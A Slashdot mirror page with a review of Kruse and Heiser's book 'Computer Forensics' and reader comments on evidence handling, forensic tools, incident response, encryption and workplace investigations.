Slashdot Mirror


Computer Forensics

Craig Maloney writes "Many Slashdot readers know how to secure a network, and many know how to determine if a security breach has taken place. Fewer readers, though, would know how to handle a security breach if corporate assets were involved. How would you cooperate with law enforcement when a crime has been committed on a computer?" For more questions, and the rest of Maloney's review of Warren G. Kruse II and Jay G. Heiser's Computer Forensics, read on below. Computer Forensics author Warren G. Kruse II and Jay G. Heiser pages 392 publisher Addison Wesley rating 8/10 reviewer Craig Maloney ISBN 0201707195 summary A good reference for what to do when computer crime happens

How do you get the evidence off of a computer, ensuring that it's capable of withstanding a defense lawyer's scrutiny? Maybe you would just unplug the machine and put it in storage awaiting a detective's arrival, but is that what we should do? What if the evidence is on a production server that can't be simply unplugged and put into storage? What if that evidence is slowly being erased as files are created and deleted on that server? How do you help build the case against a computer criminal? Hopefully you'll never have to worry about computer crime in your home or workplace but if you do have to worry, Computer Forensics will be an asset to your part of the investigation.

Who is this book for? Computer crime isn't simple -- it can range from damage done by simple script kiddies to corporate espionage by disgruntled employees, as well as sophisticated, multi-homed attacks by skilled crackers. Computer Forensics tries hard to cover a lot of these areas. The book includes a chapter dealing with laptop hardware, as well as ones on data hiding and encryption, and further chapters on putting evidence together and dealing with law enforcement. While these topics may be of interest to the Slashdot crowd, Computer Forensics focuses more on broad topics of interest to computer detectives faced with getting up to speed quickly with computer crimes and computer evidence gathering.

Several chapters are downright boring for anyone who has a modicum of computer experience. Finding out where e-mail is stored on Windows and Linux machines, or understanding what a root-kit is and what it does will be pedestrian for many readers. Nestled away between the necessary-but-pedestrian topics, though, are some very useful tools. The authors use netcat with tar to copy files between machines without disturbing the modification times (something I would never have thought to use). Novice users will find a wealth of tools and examples in these chapters. The tools used in the book tend toward open source and free tools, and rely heavily on Linux as the Swiss Army knife for handling file systems and files without disturbing them. Any reader should be able to put together a decent set of tools from this book.

Making it all work

Putting together a good forensic kit is all fine and good, but making sure your evidence holds up to the scrutiny of some high-powered, high-priced defense lawyer is much more important. The last chapter of Computer Forensics gives a brief introduction to the criminal justice system. The authors touch on notifying law enforcement agencies, search warrants, probable cause, interviews, subpoenas, dollar loss guidelines, and testifying as an expert witness, among other legal topics. The appendices of the book have checklists, flowcharts, and an incident report form to aid investigation and evidence gathering. These are invaluable resources for the system administrator of any public machine who needs to deal with law enforcement.

Conclusion Thinking about dealing with courts and law enforcement may not be at the forefront of any administrator's job, but it is a reality any administrator needs to think of and be aware of. Computer Forensics will at least make administrators more aware of what their legal options are, and of the form in which gathered forensic data needs to be presented as evidence. Computer detectives will find a good, if not rudimentary example of what to look for when investigating a computer crime scene. This may not be the most comprehensive book on the subject of computer crime, but it will point you in the right direction to help investigate it should it ever happen to you.

You can purchase Computer Forensics from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.

244 comments

  1. SecurityFocus by ProfaneBaby · · Score: 5, Informative

    The security focus mailing list dedicated to forensics is also good lurking, for those interested...

    http://archives.neohapsis.com/archives/sf/forensic s/

    --
    Video Phone Blogs send video messages straight to the web.
    1. Re:SecurityFocus by Frank+T.+Lofaro+Jr. · · Score: 1

      Ironic, that site is run by Kevin Poulsen, a (black hat) hacker.

      --
      Just because it CAN be done, doesn't mean it should!
    2. Re:SecurityFocus by Anonymous Coward · · Score: 0

      You kids look so nice in all those changing color hats. Teh gay!

  2. Enterprise file forensics by Anonymous Coward · · Score: 3, Informative

    We use Dynacomm i:scan in our enterprise and it basically does all the forensic work for us. Kinda spooky the things it can report and notify on.

    1. Re:Enterprise file forensics by ikewillis · · Score: 3, Interesting
      For the rest of us there's always Wietse Venema's tool, The Coroner's Toolkit

      On FreeBSD, it's all about mtree...

    2. Re:Enterprise file forensics by anomalous+cohort · · Score: 2, Informative

      There is a folder full of forensics tool on the knoppix security tools distro. There are tools like sleuthkit 1.66 which is supposed to be an extension to the coroner's toolkit. Has anyone here used these tools? If so, do you know if the results from these forensics tools are useful and/or admissible in court?

    3. Re:Enterprise file forensics by Anonymous Coward · · Score: 0

      Seriously. Stop overloading the term "Forensics". What you have posted is is not "forensics"..

    4. Re:Enterprise file forensics by LordDracula · · Score: 3, Informative

      If so, do you know if the results from these forensics tools are useful and/or admissible in court?

      Admissibility is not so much tied to the specific tools (though this can be an issue; more on this later) used, but the methodology used.

      DISCLAIMER: I am not by any means a forensics expert, but I am doing an independent study in computer forensics in college.

      That said, many of the standard *nix tools are, in fact, acceptable for court use. For example, it is extremely unlikely that you will have a challenge presented in a courtroom questioning the integrity of your forensic duplications if you used 'dd' to make the images. At least, not on technical grounds--failure to document everything correctly and completely could wind up causing inadmissibility.

      I'd strongly recommend Incident Response & Computer Forensics by Mandia and Prosise (of Foundstone, Inc.). This book has a LOT of technical information, and covers the aspects of evidence handling, documentation, etc. very well.

      Looking at some of the tools listed in the Knoppix STD, I can say that many of them (like fatback, foremost, dcfldd, and cryptcat) are recommended tools in the Mandia/Prosise book. I've used each of these, and they are all definitely useful. If you're doing work that must stand up in court, however, make sure you document everything you do, and never, never write anything to your suspect drive! Doing so will not only risk losing evidence, but also invalidate the entire drive as evidence. All forensic analysis should be done on either a qualified forensic duplicate or full forensic duplicate.

      --
      Your Friend,
      D
    5. Re:Enterprise file forensics by Anonymous Coward · · Score: 0

      What about that desktop google search util?? Heard you could find ANYTHING with that!!

  3. Outside the U.S. by Bingo+Foo · · Score: 4, Interesting

    In other countries, this book is titled, How to Avoid a Forensic Data Trail on Computers You Compromise.

    --
    taken! (by Davidleeroth) Thanks Bingo Foo!
    1. Re:Outside the U.S. by Anonymous Coward · · Score: 0

      Uhh, mods, this is a joke...

    2. Re:Outside the U.S. by utopianfiat · · Score: 1

      in other words: In soviet russia, computer hack you! but honestly, I think foo has a point. Especially in China, where sysadmins don't give a flying fart in space if their machines are used to DDoS major corporations.

      --
      +5, Truth
    3. Re:Outside the U.S. by Umbral+Blot · · Score: 2, Informative

      Many books on security are a double edged sword. For example a tutorial on creating protection mechanisms in your programs against disassembly at the same time tells you how to break those protections. A book on how to detect and remove virii gives you insight on how to make them. I could go on... I think the point is that the "bad guys" will leard this information anyways, so we might as well give the "good guys" the same information, especially since the "good guys" don't spend all of their time trying to compromise security.

    4. Re:Outside the U.S. by donscarletti · · Score: 3, Funny

      Many mods will moderate funny things as one of the catagories starting with 'I' because funny doesn't give any karma. If something is moderated as funny and is later moderated back down again, the poster could actually loose karma because of it so many mods think it is unfair.

      --
      When Argumentum ad Hominem falls short, try Argumentum ad Matrem
    5. Re:Outside the U.S. by Anonymous Coward · · Score: 0

      Indeed, cocaine is one heluva drug.

    6. Re:Outside the U.S. by Anonymous Coward · · Score: 0

      In Korea, computer forensics is for old people.

    7. Re:Outside the U.S. by 224036583-1 · · Score: 0

      It's viruses not virii.

    8. Re:Outside the U.S. by Lehk228 · · Score: 1

      it could be fixed by having funny count as +1 karma for the post, but no higher than +0 applied after all moderation is done, so funny cancels troll, offtopic, or overrated but +5 funny wouldn't give karma

      --
      Snowden and Manning are heroes.
    9. Re:Outside the U.S. by Anonymous Coward · · Score: 0

      Holy shit that was hysterical. Or did I misunderstand your moderation?

    10. Re:Outside the U.S. by Nightwriter · · Score: 1

      Funny still the one time in a corporate environment I had to assist in tracking a cracker (Not a hacker, I've been hacking for 20 years and I've not yet been into a box via illegal means.) He was from Texas. But then again a lot of people wonder just how connected the US and Texas really are.

      That aside, I will say one thing. Our ISP was being Ddos'd heavily (Small ISP) becaue they hosted a Linux security site. So I picked up the phone and called the FBI. Because the supplier of our T1's and T3's wouldn't talk to us about the problem. (Pre 9/11 btw) They had one question for me. Did the damage exceed 5,000 US, and could I document it. I said yes, I did, and about 24 hours later I get a panic phone call from a major supplier of T1's etc in our area calling to find out why I sent the FBI after them. I didn't directly but since the Zombie boxes used in the attack (which we had documented and logged.) Were primarily in their house, they were hosed bad. For months they refused to assist us. 24 hours after a call to the Fed's and they suddenly had a policy for handling the problem. It's amazing what having the FBI walk in with warrents to confenscate about 100 servers will do to change someones attitude.

      My rather belabored point is. That just doing the math is not enough. Until people start taking a legal stand against these people we won't be able to control the problem. Nothing will ever eliminate it. But it dang sure can be quelled. That includes IMHO holding the manufacturers of some products feet to the fire as far as product liability goes. Anyone can have a car accident. But the Auto Manufactures are held to task for a reasonable level of safety. The vehicles are tested and the tests are public.

      A lot could be said for allowing users choices of safety in the software they run as well. procuct testing for Security etc. Choices of OS with clear and understandable risks known to the consumer will help. Allowing the user to chose even something as simple as having his/her new box come with SP2 pre-installed would help. Shouldn't Dell be held liable for selling boxes that get cracked faster than the consumer can download the security patch? The legal conscept of reasonable and prudent would apply to the home user as well. When the OS provides the means to autmatically feed security updates to them, and they refuse this and fail to be diligent in doing it manually they too should have some liability. Just as if when driving a car on ice doing 65 mph is a 65mph zone may be legal but hardly reasonable and prudent. Thereby negating others liability if I have an accident.

      --
      -This space for Rent-
    11. Re:Outside the U.S. by Anonymous Coward · · Score: 0

      How do you know, are you a terrorist?

    12. Re:Outside the U.S. by mwood · · Score: 1

      "I get a panic phone call from a major supplier of T1's etc in our area calling to find out why I sent the FBI after them."

      Duuh, because they were too lazy to do their jobs or their civic duty?

      The bad guys are organized, but usually we are not. In too many cases a victim wants to simply clean out the mess, get back in production, and forget it ever happened. We need to make better use of the collective mechanisms already in place to not only fix the immediate problem but make it less likely to happen again.

      We could use more help from the tool makers. On your average antivirus gadget, how obvious is the button for "no, don't just flush it; package, preserve, and document the evidence." How much more could security product vendors do to help establish a chain of evidence that can bring distributed attacks home to the perpetrator?

      Many forms of attack are safe only because the whole world is busily scrubbing away the bad guy's footprints. It's time we turned that around.

      I think that product liability is probably the wrong path. It's easy to stir up, but the manufacturers will fight like crazy to keep the problem from sticking to them. Better to find and show them a way to pass the hot potato along to someone else, someone whose removal from the game would decrease the number of hot potatoes being passed. Get the people with massive resources on our side, instead of fighting them.

  4. Time sync all your computers by uid100 · · Score: 4, Informative

    OS level Forensics are much easier if all your computers are set to the same time.

    There is no (good) exuse for not at least NTP'ing all your servers.

    --
    ...yup...
    1. Re:Time sync all your computers by Nonesuch · · Score: 4, Insightful
      There is no (good) exuse for not at least NTP'ing all your servers.
      There used to be a good excuse -- recurring root holes in all common NTP implementations.

      With OpenNTPD, this is no longer a valid excuse.

    2. Re:Time sync all your computers by Panaflex · · Score: 2, Informative

      That's totally true.. in fact have every maching on your network NTP'ing. I've worked on a few compromised servers. Of course the first step is to NOT GET COMPROMISED. Use tripwire, honeypots, and protect yourself.

      One thing people forget about is getting the STATE of the server before you off-line it. I'd suggest getting packet dumps, network routes and connections.

      REMEMBER:
      1. Load up a live CD with some KNOWN GOOD utilities, set the path to $CD_PATH:$PATH so it searches off the cd first or specify the full path of the utility on cd.
      2. Capture processes & threads, routes, sockets, and adapter info, and perhaps a packet dump if things are active into a text file and store somewhere safe.

      YMMV

      Panaflex

      --
      I said no... but I missed and it came out yes.
    3. Re:Time sync all your computers by CyberDave · · Score: 1

      Using a LiveCD or other read-only medium with KNOWN GOOD utilities, as you put it, works well if you've been hacked by a rootkit that replaces ps, ls, top, etc. with hacked versions to hide its tracks. (The idea is that your known-good versions will show the rootkit's files and processes even if your system binaries have been compromised.)

      That doesn't really work if you've been hit by a kernel-based rootkit like Adore which hides everything at the kernel level, thus negating the need to replace your system binaries with hacked versions.

      However, I don't know of any kernel-level rootkits that still work with the latest versions of the Linux kernel. Does anyone else? (Besides, turning off loadable kernel module support in your kernel and compile in just the drivers you need on your production servers is a good way to negate this problem anyway.)

      CyberDave

    4. Re:Time sync all your computers by Panaflex · · Score: 1

      Hey, we don't need no stinkin' modules!!

      I was posing a general solution applicable to most operating system environments.. On a linux box I would not only get the system state, but would also dump a full disk image to tape, and possibly a memory image as well. You can sometimes glean a good bit of info looking at trashed memory pages and file locks on the disk image.

      Pan

      --
      I said no... but I missed and it came out yes.
  5. Sounds good by selphish189 · · Score: 0

    might have to buy that... who knows someone could crack into my network... oh wait, i dont have a network....damm

    1. Re:Sounds good by penguinoid · · Score: 2, Insightful

      You don't have a networked machine? Does that mean that you are posting to Slashdot from an internet cafe? Or are you posting from a spam server that you call "my computer"?

      Just because you won't loose your job if you get hacked, doesn't mean you should ignore the possibility.

      --
      Don't waste your vote! Vote for whoever you want, unless you live in a swing state it won't matter anyways
  6. Crime On Computer ... by foobsr · · Score: 3, Funny

    when a crime has been committed on a computer?

    Must be old mainframes then.

    CC.

    --
    TaijiQuan (Huang, 5 loosenings)
    1. Re:Crime On Computer ... by Anonymous Coward · · Score: 0

      Must be old mainframes then.

      I once killed someone who was sitting on my laptop. Surely that counts?

  7. More importantly... by Anonymous Coward · · Score: 1, Interesting

    ...any advice on how to make a computer resistant to computer forensics? I.e. how to be sure that any sensitive data will remain unrecoverable without a password etc. in the case of my PC being stolen?

    1. Re:More importantly... by Kjuib · · Score: 0

      Anytime you program/download/buy something to protect your secret stash of data-goods, there are 3 other programs to get to it. It is the way of IT.

      --
      - Your stupidity got you into this mess, why can't it get you out? -Will Rogers
    2. Re:More importantly... by eln · · Score: 1

      It's virtually impossible to maintain data security when an attacker has unlimited physical access to the system (such as when it is stolen). Given enough time and resources, any system can be compromised when you already have physical access to it. This is why we maintain high levels of physical security in data centers that store sensitive information.

    3. Re:More importantly... by penguinoid · · Score: 0

      I don't think that security counts as forensics resistance, but here are some things you can do:
      1) Put a password on your bios. Someone will have to do some fancy soldering to replace it if they want to boot your machine without your password.
      2) Store all sensitive data on an encrypted medium. Just hope no one puts a key logger on your keyboard.

      While being quite secure is as simple as installing *nix, there is not much you can do if someone has physical access to your box.

      --
      Don't waste your vote! Vote for whoever you want, unless you live in a swing state it won't matter anyways
    4. Re:More importantly... by Nefarious+Wheel · · Score: 1

      Yes, save all your data on DVD's. Then burn the DVD's.

      --
      Do not mock my vision of impractical footwear
    5. Re:More importantly... by Anonymous Coward · · Score: 0

      system boards have a jumper that when set will reset the bios password

    6. Re:More importantly... by codeguy007 · · Score: 1

      1) Put a password on your bios. Someone will have to do some fancy soldering to replace it if they want to boot your machine without your password.

      Bios Passwords can be removed by resetting the Bios. Not only that Bioses are for the most part no longer soldiered on the board but go in a socket and can be readily changed.

    7. Re:More importantly... by Pompatus · · Score: 2, Informative

      1) Put a password on your bios. Someone will have to do some fancy soldering to replace it if they want to boot your machine without your password.

      Unless you did some REALLY fancy soldering to set that password, simply removing the battery from the motherboard for about 10 minutes resets a bios password.

      2) Store all sensitive data on an encrypted medium. Just hope no one puts a key logger on your keyboard.

      That all depends on the strength of the encryption you use and the strength of the computers trying to break it. (to give you credit, this is probably the best idea you propose, if it is properly implemented.)

      While being quite secure is as simple as installing *nix, .....

      This is the one that really bothers me. You have to actually CONFIGURE your *nix to be secure! It doesn't just magically happen. And after you have it configured, you have to stay up to date with the programs you run in order to avoid the latest exploits.

      It's important to understand that you can't just do some work on a computer and then sit back and say, "there, now it's secure forever". It's also important to understand that given the proper amount of time, nothing you do will secure your computer if someone has physical access to your machine.

      --

      ----
      Squirrel ... It's not just for breakfast anymore
    8. Re:More importantly... by loadquo · · Score: 2, Funny

      A mercury switch and an emp device Or perhaps an encrypted file system. Just be sure to remember the 1024 bit number.

    9. Re:More importantly... by jschottm · · Score: 1

      OS X (with 10.3) makes encrypting your entire hard drive (or home directory) very easy. Just a few clicks to encryption. Windows makes it fairly easy. Not too hard either. There are options for the BSDs and Linuxes that vary in easiness based on how the distro has been designed.

      If that's not hard enough, there's plenty of applications to encrypt specific files with higher level security.

      Yes, with enough time and processing power, just about all of them can be cracked. How likely is it that anyone's going to spend that amount of effort on you? If you just want to keep your bank balance private if someone steals your laptop, you're fine. If you're suspected of being an Al Qaida operative, then the NSA might turn its acres of processors on you.

    10. Re:More importantly... by networkBoy · · Score: 1

      "Just be sure to remember the 1024 bit number."

      That's what mnemonics are for. One word leads to another in a relatively easy to remember phrase (roughly 21 words long) and that's all your bits, or if you want to be more secure go with 2048 bytes, then you only need to remember 43 words. Granted these bytes are not all that random as they are likely to be alphanumerics but remembering 4096 bytes (86 words) is not all that hard to do (and is in fact what I use to generate the pass phrase for my encrypted volume on my HDD at work). Remembering the pass phrase is key.
      The theory is that the fifth does not protect you from being compelled to produce material evidence (a disk, usb drive, or slip of paper with the key on it) but if the key is only in your memory then you can not be compelled to divulge it because that would amount to testifying against yourself. Besides if all else fails you can "forget it".

      -nB

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
    11. Re:More importantly... by Anonymous Coward · · Score: 0

      Easier to use a passphrase from a book you own. If the page number has some significance to you (ie. birthday of the author, or another author of the book it sits next to), you can then find the passphrase again if you have to, even if you never used it enough to remember it.

      You can get inventive here - choose a place you'd like to visit, find the timezone difference, use that to determine a page number of a book where the author was born in the place you'd like to visit :)

      These are so hard to identify they are as good as remembered only phrases from the outside, but they enable you to recover them if you need to. (And lets face it, most people have forgotten passwords/phrases at one time or another).

    12. Re:More importantly... by networkBoy · · Score: 1

      True,
      I have one strong passphrase I use that uses non ascii chars in addition to normal alphanumeric. This is the key to an encrypted volume that contains my passwork backup library (it is also the key to nothing else). If compelled to divulge all passwords as evidence, I will hand over the file. Good luck opening it though :-)
      -nB

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
    13. Re:More importantly... by JoeTheTech · · Score: 1

      I have found that most good laptops have a bios that maintains the password and can not be removed if it is lost. The bios in my Toshiba holds the password even if the motherboard battery is removed (14 days and counting). Toshiba says to sent in for repair if the password is lost. Dell has a secret code they use as a "backdoor" into the bios of some laptops. A good laptop will have this feature because they are easy to steal and often stolen.

      --
      JoeTheTech
    14. Re:More importantly... by codeguy007 · · Score: 1

      Okay we were talking servers not laptops but you can bypass the password never the less. Toshiba uses a parallel port loopback device to bypass the password so they can reset it.

    15. Re:More importantly... by Anonymous Coward · · Score: 0

      I would crack open your thick skull. You would be the one begging to tell me your password.

    16. Re:More importantly... by networkBoy · · Score: 1

      Ah, but that implies NGO's are involved. I'd likely tell all far before it came to that. In the case of a simple legal battle I'm safe. -nB

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
  8. Forensic Security by djrok212 · · Score: 5, Interesting

    Many financial firms including the one where I work, have instituted internal forensic security policies to help limit corporate liability. In our case, we have caught and successfully prosecuted employees for pornography on corporate assets (including child pornography in one case.)

    There are designated employees on the forensic team in each department who are responisble for witnessing the process and documenting the chain of custody for data and items.

    We've invested in specific equipment, including network sniffers (other then those used by the network group), hard drive replicators, log books, and materials for collection and storage of evidence.

    Everything has a chain of custody and is then turned over to the proper authorities.

    As far as the law is concerned since the employee does not have a right or expectation of privacy when working on a corporate asset, everything we take is completely legal. As long as we mantain an effective chain of custody it will likely hold up on court.

    Just my two cents. Your mileage may vary.

    1. Re:Forensic Security by antifoidulus · · Score: 1

      Just a question, what do you mean by, "prosecuted employees", do you mean in court or just fired their ass? Well, the crime in the case of child pornography is pretty obvious, but what exactly are the legal reprecussions for looking at juicyhoes.com for example? Were you ever actually challenged in court? How much is the burden of proof.
      Thanks,
      An interested college student(interested in the field of forensics, not work pr0n)

    2. Re:Forensic Security by jaseuk · · Score: 1

      Hmm. Do you have authorisation from the police to do this? One point raised by a local IT group was that if IT staff view ILLEGAL (ie. Child Pornography) content as a result of an internal forensics investigation then they could also be prosecuted.

      This might be a UK only issue, but I'm interested in finding out if this is the case elsewhere and it maybe something you haven't thought about.

      Jason.

    3. Re:Forensic Security by codeguy007 · · Score: 1

      You can be charged or sued for sexual harassment for view pornographic sites at work.

    4. Re:Forensic Security by GigsVT · · Score: 2, Insightful

      Sued by who?

      It'd be a hard case to prove it created a "hostile work environment" if no one knew you had porn until an admin found it.

      All this crap is just another case of moral busy-bodies hiding behind the guise of legal liability.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    5. Re:Forensic Security by arnie_apesacrappin · · Score: 2, Interesting
      do you mean in court or just fired their ass?

      The two times I've had to provide evidence to HR of people using company assets to view porn, both employees were fired.

      but what exactly are the legal reprecussions for looking at juicyhoes.com for example?

      In the above instances (at two different companies) viewing adult content at work was against a written policy. Employees were required to acknowledge the policy when hired

      Were you ever actually challenged in court?

      We weren't. Both people basically gave up when presented with the proxy logs.

      --

      Still, with a plan, you only get the best you can imagine. I'd always hoped for something better than that. -CP

    6. Re:Forensic Security by damnnicks · · Score: 1

      If nobody else is looking at your screen, just who are you harassing? The nosy network admins sniffing your packets or the security guards with the cameras for catching nose-pickers on tape?

      It's a sad, sad state of affairs when you can be legally charged for the crime of "potential-harassment"...

      (Just to be clear, I am in favor of businesses being allowed to fire employees for almost any reason whatsoever.)

    7. Re:Forensic Security by Anonymous Coward · · Score: 0

      I wish our company paid as much attention to security - it seems that most companies have the sense to invest in this on their own initative but there are obviously others that are willing to take the gamble.

      The FSA make us hire in auditors but they are so pitiful in their coverage that I wonder how much they really care. Sure they'd come down very hard if we got found out but they don't seem too serious about prevention.

      It's a shame because you make it sound very interesting and it's something I'd like to get in to. Sure we have firewall logs and proxy logs but we only ever look when our mp3 streams keep cutting out.

    8. Re:Forensic Security by 0racle · · Score: 1

      What expectation of privacy do you have at work? None. Every action you take can potentially affect everyone, so the crime would not be 'potential-harassment' but neglegence.

      That said, that wouldn't be what the crime was, and not why you would be canned. Everywhere I've been, viewing porn is grounds for dismissal. On top of that, labor laws usually spell out exactly what would not be appropriate behavior at work, and viewing porn is no doubt there. So you are now in violation of that law, no need to be charged on your potential harrasment.

      Stop thinking you have the right to do what ever the hell you want everywhere you are. Even in your own house there are things you can not do, and that list increases as soon as you walk out your door in the morning. I'm sorry but unless you work in the porn industry, you can't look at porn when your at work.

      --
      "I use a Mac because I'm just better than you are."
    9. Re:Forensic Security by lachlan76 · · Score: 1

      There is a difference between not being allowed to do something and making something illegal. If you can be charged on sexual harrassment grounds for doing something which no-one can see unless they specifically look for it, that isn't the way things should be.

      Note: This does not mean I don't think that it's ok to fire people for looking at porn.

    10. Re:Forensic Security by Frank+T.+Lofaro+Jr. · · Score: 1

      Sued (civil), yes; charged (criminal) I don't think so in the US. Any lawyers care to comment? If there are such laws, is it a misdemeanor or a felony (which would be very scary - considering the implications).

      --
      Just because it CAN be done, doesn't mean it should!
    11. Re:Forensic Security by robi2106 · · Score: 1

      or else stealing company time with leaisure activities, just like surfing /. while on the clock...

      Both take company time and resources (bandwidth) while the employee is supposed to be doing something else.

      jason

    12. Re:Forensic Security by djrok212 · · Score: 1

      In many cases, the employees were just fired. In others however employees were prosecuted for their crimes (theft, etc).

      We have also had employees sued for Sexual Harrassment for viewing pornography on a publically viewable terminal.

    13. Re:Forensic Security by djrok212 · · Score: 1

      It is true that it is "technically" illegal, however you would be hard pressed to find a prosecutor willing to put their name on the documents to arrest someone who viewed "illegal" materials in the course of an investigation. Especially if by viewing that information the real criminal was brought to justice. However a good question and something we did think of while putting together our policy.

    14. Re:Forensic Security by GigsVT · · Score: 1

      Which is a fine reason to fire them.

      Same as the other poster, I also advocate a company being able to hire and fire at will for whatever reason...

      But a reasonable company will have a reasonable reason, not blindly follow some policy.. to do otherwise gives network admin types too much power over getting someone fired.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    15. Re:Forensic Security by Anonymous Coward · · Score: 0

      In our case, we have caught and successfully prosecuted employees for pornography on corporate assets (including child pornography in one case.)

      You may have successfully sued your employees, but it's prosecutors that prosecute (hence the name).

      everything we take is completely legal

      Sure, but whether it's good business is another question.

    16. Re:Forensic Security by robi2106 · · Score: 1

      to do otherwise gives network admin types too much power over getting someone fired

      Good point. The admin coudl falsify information at their whim and get anyone they wanted fired... That would Not Good (TM).

      jason

    17. Re:Forensic Security by Anonymous Coward · · Score: 0

      You assume that my job is not a porn producer. I would be sued if I did NOT watch porn at work.

    18. Re:Forensic Security by mwood · · Score: 1

      Now I have to wonder: if someone goes looking for sexually explicit materials in people's accounts, without any complaint to prompt the action (because nobody but the account holder has ever seen it), could he be successfully prosecuted for voyeurism? (Setting aside for a moment the question of whether those materials were a permitted use of the equipment.)

      Just because A acted improperly does not prove that B was not acting improperly in the act of discovering A's impropriety.

    19. Re:Forensic Security by steveshaw · · Score: 1
      Sexual harassment is not a crime, so "charged" is inaccurate.

      The reason companies try to stay on top of this is because they are the ones who get sued for a hostile work environment. The guy looking at the pr0n has shallow pockets.

    20. Re:Forensic Security by jaseuk · · Score: 1

      I put a similar point across, the volley was that if you suspect that someone is performing an illegal activity you should involve the authorities straight away and not perform any internal investigation leaving it the authorities to perform the investigation.

      I have trouble seeing how a corporate policy can permit this as it is technically breaking the law. Most of the time corporate policy is very conservative.

      For instance what happens if the criminal turns around and says that the internal investigator planted the information?

      Here's something perhaps even more worrying than purely breaking the law, an employee doing an internal investigation images the disk to networked storage (SAN or similar), then has a look at the laptop, data is found but the internal investigator has messed up the disk. The police then request the network storage server as evidence in the investigation. It can be VERY hard to fight this as most of the police on the front line dealing with these sorts of investigations are not very technical and not very concerned about the disruption caused by removing your storage for 6 months.

      I guess the other inevitable angle is that some sicko uses his "internal investigator" status to look at what he likes. There would have to be some very good procedures in place.

      _shrugs_

    21. Re:Forensic Security by djrok212 · · Score: 1

      Surely you jest... There are lots of things companies do that are technically "illegal" but since you have trained employees performing these tasks, the authorities would NEVER (I'd like to see it stick) follow through on charges against the trained individuals. As for the SAN issue, thats why you image the disk bit for bit, and NEVER EVER even boot the laptop. You don't back it up to the SAN, you back it up to a "clean" drive which has been verified with software specific for this task. What your left with is an EXACT bit-for-bit duplicate of the laptops data, complete with timestamps and file ownership. You do this all with MULTIPLE witnesses, with all of them signing the chain of custody. Trust me, this holds up in court. It's hard to say that representatives from multiple divisions of the company would come together to implicate a fellow co-worker.

    22. Re:Forensic Security by lachlan76 · · Score: 1

      The terms of service say that the admins are allowed to, or at least they do at my school.

      I imagine that they are the the same in companies.

    23. Re:Forensic Security by mwood · · Score: 1

      I wasn't talking about TOS, I was talking about law. If your school computing establishment's TOS said it is okay to rob banks, would that give you immunity from the laws which say it is not okay?

    24. Re:Forensic Security by lachlan76 · · Score: 1

      If it said it was ok to rob the schools bank, then it would give you immunity,

      When you sign the TOS you are saying that you agree that admins are allowed to go through any of your data at any time.

    25. Re:Forensic Security by mwood · · Score: 1

      "When you sign the TOS you are saying that you agree that admins are allowed to go through any of your data at any time."

      That gets them off the hook w.r.t. you suing them for invading your privacy. It says nothing about whether their conduct is criminal. Crime is an issue between the perpetrator and the state, and your signature cannot bind the state to anybody's TOS unless you are signing as an agent of the state.

      I understand about TOS. I *am* a sysadmin, and I depend on those agreements to permit me to do my job. But it's possible for an overreaching sysadmin to get himself in trouble even though he adheres to the letter of the user agreement. Absent a specific complaint, rummaging through users' files is just too dangerous, and I consider it poor practice. (I also consider it just plain wrong. I work hard to *avoid* knowing what our users are up to, until someone gives me a valid reason to find out.)

    26. Re:Forensic Security by lachlan76 · · Score: 1

      To be honest, the say my school network is going, I figure that they have much better things to do.

  9. Cutting Loses by fembots · · Score: 5, Insightful

    What if the evidence is on a production server that can't be simply unplugged and put into storage?

    In my company, once a machine is compromised, it's offline and ghost image taken, no questions asked, even it's a live ecommerce site. You would rather putting up a "Unscheduled Outage" notice than inflicting more damages to the server/data.

    It's like a 777 pilot asking if he should make an emergency landing due to a fire alarm, because there are 350 passengers onboard and we don't want to spoil their holiday.

    Actually I think pilots do that, that's why we get to read blackbox transcript like

    GPWS: "Whoop, whoop. Pull up. Whoop whoop. Pull up."
    CA: "Don't worry we can make it."
    GPWS: "Whoop, whoop. Pull -."

    1. Re:Cutting Loses by Anonymous Coward · · Score: 0

      Why is GPWS shouting "Whoop, whoop"?

    2. Re:Cutting Loses by Anonymous Coward · · Score: 1, Funny

      Pertussis. Poor chap. Probably shouldn't be in the cockpit.

    3. Re:Cutting Loses by Anonymous Coward · · Score: 0

      Taking a /forensic/ Ghost image of a large server requires as much disk space as is on the server. If you just take a standard Ghost image you may not record the information that's actually needed - Ghost does not bother storing deleted files in its images, for instance. So beware. Your routine 'take a Ghost image' might not be sufficient.

    4. Re:Cutting Loses by GigsVT · · Score: 2, Insightful

      On the other hand, pulling it down immediately is bad forensic practice. You may very well be destroying evidence contained in RAM.

      Ideally you would take it off the network, but keep it running. Ideals rarely get practiced when it comes to security though.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    5. Re:Cutting Loses by Anonymous Coward · · Score: 0

      Yeah, using your analogy, I think he was more asking what if it's the navigation computer on the plane...it's going to spoil alot more than holidays if you pull it offline prior to invoking emergency procedures. Sometimes you have to implement an emergency landing/failover plan first.

    6. Re:Cutting Loses by MadHungarian1917 · · Score: 1

      Because the Ground Proximity Warning System is telling you that you are about to execute a Uncontrolled Flight Into Terrain. (i.e. crash) with all the bad publicity that creates.

    7. Re:Cutting Loses by Anonymous Coward · · Score: 0

      Too bad servers generally don't support "hibernate".
      Any sort of full machine crash dump would be appropriate, though, depending on whether it's a Windows or Unix flavor. I suspect Unix would be more friendly to implementing something like that. Hibernate for windows systems would be a reasonable solution to keep an as-compromised system state, and allow offline inspection of running processes and such.

  10. Been there, done that. by rylin · · Score: 5, Interesting

    Recently, I was contacted by the local PD in regards to a huge number of stolen CCs being used from our IP-range (Internet Café).
    After getting a list of specific timestamps (along with IP-addresses), I was able to figure out who the culprit was.
    That said, the man-hours I put into the whole thing seem to have been for nothing.
    The PD won't do jack shit - too little resources, they say - which is why I find it funny that they can't even send a unit to pick up the frauders when they're actually on-site (yet they can be seen parading the streets, looking for minors consuming alcohol).

    Just because law enforcement want your help doesn't mean they'll do anything - even if you virtually hand them the crooks on a silver platter.
    Then again, things might be different elsewhere.

    1. Re:Been there, done that. by wwest4 · · Score: 2, Insightful

